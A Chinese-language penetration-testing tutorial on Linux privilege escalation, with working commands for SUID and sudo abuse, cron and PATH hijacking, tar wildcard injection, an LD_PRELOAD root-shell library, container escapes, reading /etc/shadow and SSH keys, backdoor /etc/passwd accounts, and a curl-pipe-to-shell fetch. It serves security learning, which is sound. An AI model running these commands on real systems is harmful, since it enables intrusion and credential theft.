核心概念: 权限提升 (Privilege Escalation) 是指攻击者从低权限用户(如
www-data)通过系统漏洞或配置缺陷获得更高权限(如root)的过程。提权是渗透测试中后渗透阶段的关键环节。
提权检查清单
# 系统信息
uname -a # 内核版本
cat /etc/os-release # 发行版信息
cat /etc/*release # 版本详情
hostname # 主机名
# 用户信息
id # 当前用户信息
whoami # 当前用户名
cat /etc/passwd # 所有用户
cat /etc/shadows # 密码哈希(需root)
sudo -l # sudo 权限
history # 命令历史
# 敏感文件搜索
find / -perm -4000 2>/dev/null # SUID 文件
find / -perm -2000 2>/dev/null # SGID 文件
find / -writable -type f 2>/dev/null # 可写文件
find / -name "*.key" -o -name "*.pem" 2>/dev/null # 密钥文件
find / -type f -name ".*" -writable 2>/dev/null # 可写隐藏文件
grep -r "password" /etc/ 2>/dev/null # 密码配置
# 进程与服务
ps aux # 运行进程
netstat -tulpn # 监听端口
systemctl list-units # 系统服务
crontab -l # 当前用户定时任务
ls -la /etc/cron* # 系统定时任务
systemctl list-timers # systemd 定时器
一、内核漏洞提权 (Kernel Exploit)
原理
Linux 内核中存在缓冲区溢出、释放后使用 (Use-After-Free)、权限检查绕过等漏洞。当存在对应漏洞的内核版本运行时,可利用编译好的 exploit 直接获取 root 权限。
利用流程
# 1. 检查内核版本
uname -a
# Linux target 5.15.0-86-generic #96-Ubuntu SMP x86_64 GNU/Linux
# 2. 搜索对应 exploit(使用 searchsploit 或在本地搜索)
searchsploit linux kernel 5.15
# 3. 上传并编译 exploit
# 在攻击机上编译(推荐)或目标机上编译
gcc exploit.c -o exploit
# 4. 执行提权
./exploit
# 成功后获得 root shell
whoami # root
常用工具
- Linux Exploit Suggester: 自动检测内核漏洞
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh bash linux-exploit-suggester.sh - LES (Linux Exploit Suggester 2)
- PEASS-ng / LinPEAS: 自动化提权检查脚本
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
实战案例
# Dirty Pipe (CVE-2022-0847) - Linux 5.8 ~ 5.16
# 利用原理:pipe 系统调用的写操作越界覆盖文件缓存
gcc dirty_pipe.c -o dirty_pipe
./dirty_pipe /etc/passwd "root::0:0:root:/root:/bin/bash"
su # 无需密码直接切换 root(清空密码字段后)
# PwnKit (CVE-2021-4034) - pkexec 本地提权
# 利用原理:pkexec 未正确处理参数个数,导致环境变量污染
gcc pwnkit.c -o pwnkit
./pwnkit
局限性
- 现代内核有 KASLR、SMEP/SMAP 等防护机制
- 生产环境通常及时打补丁
- exploit 可能导致系统崩溃或内核 panic
二、SUID/SGID 提权
原理
SUID (Set User ID) 和 SGID (Set Group ID) 是 Linux 的特殊权限位。设置了 SUID 的可执行文件运行时以文件所有者的身份执行,而非执行者本身。如果所有者是 root,普通用户运行该文件时也拥有 root 权限。
权限位表示:rwsr-xr-x
^
s = SUID 已设置
S = SUID 已设置但无执行权限(很少见)
查找 SUID 文件
# 查找所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 查找所有 SGID 文件
find / -perm -2000 -type f 2>/dev/null
# 同时查找 SUID 和 SGID
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null
可利用的 SUID 二进制
| 二进制 | 利用方式 | 提权命令 |
|---|---|---|
nmap (旧版 --interactive) | 交互模式 | nmap --interactive → !sh |
find | 通过 -exec 执行 | find . -exec /bin/sh \; -quit |
vim / vi | 通过编辑器 escape | vim -c ':!/bin/sh' |
bash | 直接执行 | /bin/bash -p |
less / more | 通过 ! 命令 | less /etc/passwd → !/bin/sh |
cp | 覆盖文件 | 复制 /etc/passwd 修改后的版本 |
python | 通过 Python shell | python -c 'import os;os.system("/bin/sh")' |
perl | 通过 Perl shell | perl -e 'exec "/bin/sh";' |
tee | 写入文件 | echo "newpass" \| tee -a /etc/passwd |
base64 | 解码写入文件 | 解码 base64 格式的恶意文件 |
典型利用示例
# 示例 1: find 提权
find /home -exec /bin/sh -p \; -quit
# 示例 2: 查看自定义 SUID 程序
./custom_program --help
strings custom_program # 分析程序行为
# 示例 3: 如果 base64 有 SUID
echo 'encoded_payload' | base64 -d > /tmp/sh
chmod +x /tmp/sh
/tmp/sh
原理图示
普通用户 (www-data)
│
│ 运行 SUID=root 的程序
▼
程序以 root 权限运行
│
│ 程序存在漏洞(命令注入/任意文件读/写)
▼
攻击者获得 root shell
三、Sudo 配置不当
原理
/etc/sudoers 文件定义了哪些用户可以用 sudo 执行哪些命令。如果配置不当,普通用户可能被允许以 root 权限执行某些危险命令。
检查 Sudo 权限
# 查看当前用户可执行的 sudo 命令
sudo -l
# 输出示例
User www-data may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim
(ALL) /bin/systemctl restart apache2
(root) /usr/bin/python3 /scripts/*.py
危险配置与利用
1. 允许执行编辑器 (vim/nano/emacs)
# sudo -l 显示: (ALL) /usr/bin/vim
sudo vim -c ':!/bin/sh'
2. 允许执行 systemctl
# sudo -l 显示: (ALL) /bin/systemctl
# 创建恶意 service 文件执行任意命令
cat > /tmp/root.service << 'EOF'
[Service]
Type=oneshot
ExecStart=/bin/sh -c 'chmod +s /bin/bash'
[Install]
WantedBy=multi-user.target
EOF
sudo /bin/systemctl link /tmp/root.service
sudo /bin/systemctl start root.service
/bin/bash -p # 现在 bash 有 SUID
3. 允许执行 apt/yum/dpkg
# sudo -l 显示: (ALL) /usr/bin/apt
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
4. 允许执行 python/perl 等脚本语言
# sudo -l 显示: (ALL) /usr/bin/python3
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
5. 通配符匹配(如 /usr/bin/*)
# 危险: sudo -l 显示 (ALL) /usr/bin/*
# 可以执行任何 /usr/bin/ 下的程序
sudo /usr/bin/vim
sudo /usr/bin/python3 # 等
利用流程图
sudo -l
│
├── 编辑器 (vim/nano) → !/bin/sh
├── 包管理器 (apt/rpm) → 回调 shell
├── systemctl → 创建恶意 service
├── 脚本语言 (python) → os.system('/bin/sh')
├── 通配符 (*.py) → 利用文件名注入
└── NOPASSWD → 无需密码直接 sudo
四、计划任务 (Cron Job) 提权
原理
系统管理员通过 cron 或 systemd 定时器设置定时任务,这些任务以 root 权限执行。如果普通用户可以修改脚本文件或替换脚本路径,即可在 root 执行时获得提权。
检查 Cron 配置
# 系统级 cron
ls -la /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
# 用户级 cron
crontab -l
# systemd 定时器
systemctl list-timers --all
利用场景
场景 1:脚本文件可写
# /etc/crontab 中包含:
# */5 * * * * root /opt/backup.sh
# 检查脚本是否可写
ls -la /opt/backup.sh
# -rwxrwxrwx 1 root root 50 ... ← 任何人都可写!
# 写入恶意命令
echo '#!/bin/bash
chmod +s /bin/bash' > /opt/backup.sh
# 等待 cron 执行(最多 5 分钟)
/bin/bash -p # 获得 root shell
场景 2:PATH 劫持
# /etc/crontab 中使用相对路径:
# */5 * * * * root backup.sh ← 没有写绝对路径!
# 检查 PATH 变量
echo $PATH # 或查看 crontab 中定义的 PATH
# 如果 PATH 包含可写目录(如 /tmp)
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash' > /tmp/backup.sh
chmod +x /tmp/backup.sh
# 等待 cron 执行
/tmp/rootbash -p
场景 3:通配符扩展 (Wildcard Injection)
# crontab 中脚本执行了类似:
# tar czf /tmp/backup.tar.gz /home/*
# 在 /home/ 下创建恶意文件
echo '#!/bin/bash' > /home/--checkpoint=1
echo '#!/bin/bash' > /home/--checkpoint-action=exec=shell.sh
echo 'chmod +s /bin/bash' > /home/shell.sh
# 等待 tar 命令执行后
/bin/bash -p
五、LD_PRELOAD 环境变量提权
原理
LD_PRELOAD 环境变量允许在程序运行前预加载共享库。如果普通用户可以通过 sudo 执行某个程序(且 env_keep 保留了 LD_PRELOAD),就可以注入恶意共享库。
利用条件
sudo -l输出中包含env_keep+=LD_PRELOAD- 或
sudoers配置中包含Defaults env_keep += "LD_PRELOAD"
利用步骤
# 1. 确认条件
sudo -l
# 输出应包含: Matching Defaults entries: env_keep+="LD_PRELOAD"
# 2. 编写恶意共享库
cat > shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
EOF
# 3. 编译共享库
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
# 4. 执行提权
sudo LD_PRELOAD=./shell.so any_command_you_can_sudo
# 获得 root shell
六、Linux Capabilities 提权
原理
Linux Capabilities 将 root 权限拆分为细粒度权限单元。如果某个可执行文件或进程被赋予了特殊的 capability(如 CAP_DAC_OVERRIDE),无需完全 root 即可执行特权操作。
检查 Capabilities
# 检查文件的 capabilities
getcap -r / 2>/dev/null
# 示例输出
/usr/bin/python3.10 = cap_setuid+ep
/usr/bin/tar = cap_dac_read_search+ep
/bin/ping = cap_net_raw+ep
危险 Capabilities
| Capability | 作用 | 提权方式 |
|---|---|---|
CAP_SETUID | 允许设置用户 ID | python -c 'import os;os.setuid(0);os.system("/bin/sh")' |
CAP_SETGID | 允许设置组 ID | 同上,设置 gid 为 0 |
CAP_DAC_OVERRIDE | 绕过文件权限检查 | 可以读写任何文件(包括 /etc/shadow) |
CAP_DAC_READ_SEARCH | 绕过文件读权限 | 可以读取任何文件 |
CAP_SYS_ADMIN | 系统管理能力 | 挂载、namespace 操作等 |
CAP_NET_RAW | 原始套接字 | ARP 欺骗、抓包 |
利用示例
# 场景: python3 有 cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# 场景: tar 有 cap_dac_read_search
tar -cvf /dev/null /etc/shadow # 实际上不能直接读,但可以使用通配符技巧
# 更好的方法:使用其他有 cap_dac_read_search 的工具
七、Docker 容器逃逸提权
原理
当用户属于 docker 组时,相当于拥有 root 级别的 Docker 权限,可以挂载宿主机文件系统到容器内,从而读写宿主机所有文件。
利用方法
# 确认当前用户在 docker 组
groups
# 输出: www-data docker
# 挂载宿主机根目录到容器
docker run -v /:/mnt/host -it alpine:latest /bin/sh
# 在容器中查看宿主机文件
cat /mnt/host/etc/shadow # 读取密码哈希
cat /mnt/host/root/.ssh/id_rsa # 读取 SSH 私钥
# 创建后门账户(直接写入 passwd)
echo 'hacker:$6$...:0:0:root:/root:/bin/bash' >> /mnt/host/etc/passwd
LXC/LXD 提权
# 如果用户在 lxd 组
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine test -c security.privileged=true
lxc config device add test host-root disk source=/ path=/mnt/root
lxc start test
lxc exec test /bin/sh
cat /mnt/root/etc/shadow
八、PATH 环境变量劫持
原理
当 suid 程序使用相对路径调用外部程序(如 system("ls")),而不是绝对路径(如 system("/bin/ls"))时,可以通过修改 PATH 环境变量指向恶意程序来劫持执行流程。
利用步骤
# 1. 找到可疑的 suid 程序
find / -perm -4000 -type f 2>/dev/null
# 2. 分析程序行为
strings /usr/local/bin/suid_backup
# 输出可能包含: system("tar czf ...")
# ^^^^^^^^ 相对路径调用 tar
# 3. 创建恶意程序
cd /tmp
echo '#!/bin/bash' > tar
echo 'cp /bin/bash /tmp/rootbash' >> tar
echo 'chmod +s /tmp/rootbash' >> tar
chmod +x tar
# 4. 劫持 PATH
export PATH=/tmp:$PATH
/usr/local/bin/suid_backup
# 5. 获得 root shell
/tmp/rootbash -p
九、NFS no_root_squash 提权
原理
NFS 共享配置中的 no_root_squash 选项允许 root 用户在客户端以 root 身份写入文件。如果攻击者可以挂载 NFS 共享,可以创建 suid 文件获取目标系统权限。
检查 NFS 配置
# 在目标系统上检查 NFS 导出配置
cat /etc/exports
# 输出示例:
# /srv/nfs 192.168.1.0/24(rw,sync,no_root_squash,no_subtree_check)
利用步骤
# 1. 在攻击机上挂载 NFS 共享
mkdir /tmp/nfsmount
mount -t nfs target:/srv/nfs /tmp/nfsmount
# 2. 在本地创建 suid shell 并上传
cp /bin/bash /tmp/nfsmount/rootbash
chmod +s /tmp/nfsmount/rootbash
# 3. 卸载 NFS 共享
umount /tmp/nfsmount
# 4. 在目标系统上执行 suid shell
# (回到目标系统 shell)
/tmp/nfsmount/rootbash -p
十、密码复用与凭据收集
原理
系统配置、脚本、历史记录等文件中往往包含明文密码。在信息收集阶段发现复用凭据是最直接的提权方式。
查找密码
# 检查配置文件
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
# 查找数据库配置
find /var/www -name "config.php" -o -name ".env" 2>/dev/null
find /var/www -name "wp-config.php" 2>/dev/null # WordPress
# 检查历史记录
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.ssh/id_rsa # SSH 私钥
cat /root/.ssh/authorized_keys # 如果能读
# 检查备份文件
find / -name "*.bak" -o -name "*.backup" 2>/dev/null
find / -name "*.old" 2>/dev/null
# 检查进程中的密码
ps aux | grep -E "(mysql|postgres|redis|password)"
strings /proc/*/environ 2>/dev/null | grep -i password
利用场景
# 场景:在配置文件发现 MySQL root 密码
# wp-config.php 中包含:
define('DB_PASSWORD', 'SuperSecret123');
# 尝试用同一密码切换 root 用户
su root # 输入 SuperSecret123
# 或 SSH 登录
ssh root@localhost # 输入 SuperSecret123
十一、可写文件/目录覆盖
原理
某些系统文件或脚本可能被配置为可写(权限为 777 或所属组设置不当)。利用可写系统文件可以插入恶意代码。
关键可写目标
# 检查可写的系统文件
find /etc -writable -type f 2>/dev/null
# 关键文件
/etc/passwd # 添加管理员账户
/etc/shadow # 替换 root 密码哈希
/etc/sudoers # 添加 sudo 权限
/etc/crontab # 添加定时任务
/etc/ld.so.conf # 修改动态链接器路径
/etc/environment # 修改环境变量
/etc/profile # 登录时执行任意命令
/etc/bash.bashrc # Bash 启动文件
/etc/init.d/* # init 脚本
/lib/systemd/system/* # systemd service
利用步骤
# 示例:如果 /etc/passwd 可写
# 生成密码哈希
openssl passwd -1 newpassword
# 输出: $1$... (哈希值)
# 添加 root 权限用户
echo 'hacker:$1$...:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker # 密码: newpassword → root
十二、自动化提权工具
本地信息收集
# LinPEAS - 综合提权检查
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
bash linpeas.sh
# Linux Exploit Suggester 2
wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl
# Linux Smart Enumeration
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
bash lse.sh
# 自定义快速检查
cat << 'EOF' > quick_check.sh
#!/bin/bash
echo "=== Kernel ==="
uname -a
echo "=== User ==="
id
sudo -l 2>/dev/null
echo "=== SUID ==="
find / -perm -4000 -type f 2>/dev/null
echo "=== Cron ==="
ls -la /etc/cron* 2>/dev/null
echo "=== Capabilities ==="
getcap -r / 2>/dev/null
echo "=== Writable ==="
find /etc -writable -type f 2>/dev/null
EOF
bash quick_check.sh
提权方法优先级排序
| 优先级 | 方法 | 成功率 | 风险 | 需检查的内容 |
|---|---|---|---|---|
| ⭐⭐⭐ | Sudo 配置不当 | 高 | 低 | sudo -l |
| ⭐⭐⭐ | 密码复用/配置文件 | 高 | 低 | 配置文件、历史记录 |
| ⭐⭐⭐ | 可写 cron 脚本 | 高 | 中 | /etc/cron* |
| ⭐⭐ | SUID 二进制 | 中 | 中 | find / -perm -4000 |
| ⭐⭐ | 内核漏洞 | 中 | 高 | uname -a |
| ⭐⭐ | Docker 组权限 | 高 | 低 | groups |
| ⭐⭐ | LD_PRELOAD | 中 | 中 | sudo -l (env_keep) |
| ⭐ | Capabilities | 低 | 中 | getcap -r / |
| ⭐ | PATH 劫持 | 低 | 中 | strings suid程序 |
| ⭐ | NFS no_root_squash | 低 | 低 | /etc/exports |
参考资源
- GTFOBins: https://gtfobins.github.io/ — 查找二进制提权方法
- LinPEAS: https://github.com/peass-ng/PEASS-ng — 自动化提权枚举
- Exploit-DB: https://www.exploit-db.com/ — 漏洞利用库
- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
- HackTricks – Linux Privilege Escalation: https://book.hacktricks.xyz/linux-hardening/privilege-escalation
免责声明: 本文内容仅供授权的渗透测试和安全学习使用。未经授权对系统进行提权操作属于违法行为。

插眼